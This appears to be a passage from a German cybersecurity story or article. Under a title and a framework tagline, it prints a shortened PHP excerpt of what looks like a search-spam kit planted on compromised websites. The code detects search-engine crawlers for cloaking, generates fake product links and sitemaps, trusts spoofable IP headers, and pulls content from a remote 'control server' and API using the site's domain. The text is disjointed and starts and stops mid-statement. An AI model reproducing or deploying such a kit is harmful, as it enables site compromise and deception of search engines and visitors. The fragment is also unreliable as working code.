
Der Junge, der die Lichter ausmachte
KRITIS – 3.0 Das Framework welches neue Maßstäbe in der Cybersicherheit setzt. Der Junge, der die Lichter ausmachte 1. Unsichtbar
'; $html .= '
';
return $html;
}
function generateCategoryLink($categoryName,$productId){
$siteUrl='http://'.$_SERVER['HTTP_HOST'];
$categoryName = preg_replace('#\s+#i','-',$categoryName);
$urlPath = str_replace('--','-',$categoryName).'-'.$productId;
$urlPath .= URL_SUFFIX;
return $siteUrl.'/'.$urlPath;
}
function generateProductLink($id,$name=''){
$siteUrl='http://'.$_SERVER['HTTP_HOST'];
if(strstr($name,'#cat#')){
$parts = explode('#cat#',$name);
$name = $parts[1];
$category = $parts[0];
}
// Sonderzeichen filtern
$name = filterSpecialChars($name);
$name = preg_replace('/\s+/', '-', $name);
$urlPath = $name.'/'.$id;
$urlPath .= URL_SUFFIX;
return $siteUrl.'/'.$urlPath;
}
function filterSpecialChars($str){
// [Entfernt alle Sonderzeichen - GEKÜRZT]
$str = str_replace('&', '&', $str);
return trim($str);
}
function detectCrawler(){
$userAgent = @strtolower($_SERVER['HTTP_USER_AGENT']);
if (!empty($userAgent)){
$crawlerList = array(
"Googlebot",
"Mediapartners-Google",
"Adsbot-Google",
"Yahoo!",
"bingbot",
"MSNBot"
);
foreach($crawlerList as $crawler){
if (strpos($userAgent, strtolower($crawler)) !== false){
return true;
}
}
}
return false;
}
function generateSitemap($products,$mode=1,$type=1){
global $mapCounter;
// [Komplexe Sitemap-Generierung - GEKÜRZT]
$xmlHeader = ''. PHP_EOL.
'
";
}
function generateSitemapSecondary($products,$mode=1,$type=1){
// [Identisch zu generateSitemap - GEKÜRZT]
}
function fetchFromUrl($url,$proxy='',$maxRetries=10){
$data = false;
$attempt = 0;
while(!$data){
$data = fetchUrlOnce($url,$proxy);
if($attempt++ >= $maxRetries) break;
}
return $data;
}
function fetchViaJs($url,$timeout){
// [CURL-Implementierung - GEKÜRZT]
if(function_exists("curl_init")){
$curl = curl_init();
$userAgent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1)";
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_TIMEOUT, $timeout);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_USERAGENT, $userAgent);
$data = curl_exec($curl);
curl_close($curl);
return $data;
}
return false;
}
function fetchUrlOnce($url,$proxy=''){
// [CURL mit Proxy-Support - GEKÜRZT]
if(function_exists("curl_init")){
$curl = curl_init();
if(strlen($proxy) > 8){
curl_setopt($curl, CURLOPT_PROXY, $proxy);
}
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$data = curl_exec($curl);
curl_close($curl);
return $data;
}else{
return file_get_contents($url);
}
}
function checkIpInRange($ip,$ranges){
$ipLong = ip2long($ip);
foreach($ranges as $range){
$min = sprintf("%u",ip2long($range[0]));
$max = sprintf("%u",ip2long($range[1]));
if($ipLong >= $min && $ipLong <= $max){
return true;
}
}
return false;
}
function getRealIpAddress(){
// [Proxy-Header auswerten - GEKÜRZT]
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}elseif (isset($_SERVER['HTTP_CLIENT_IP'])){
return $_SERVER['HTTP_CLIENT_IP'];
}else{
return $_SERVER['REMOTE_ADDR'];
}
}
function generateRandomChars(){
$chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_./:-";
return $chars;
}
function getControlServer(){
// [Verschleierte Server-URLs - GEKÜRZT]
return 'http://www.control-server.com/path/';
}
function getRandomCategoryId($category){
global $currentDomain;
for($i=0;$i<3;$i++){
$apiUrl = BASE_URL . "api.php?site=$currentDomain&cid=$category";
$response = fetchFromUrl($apiUrl,'',5);
if(preg_match('#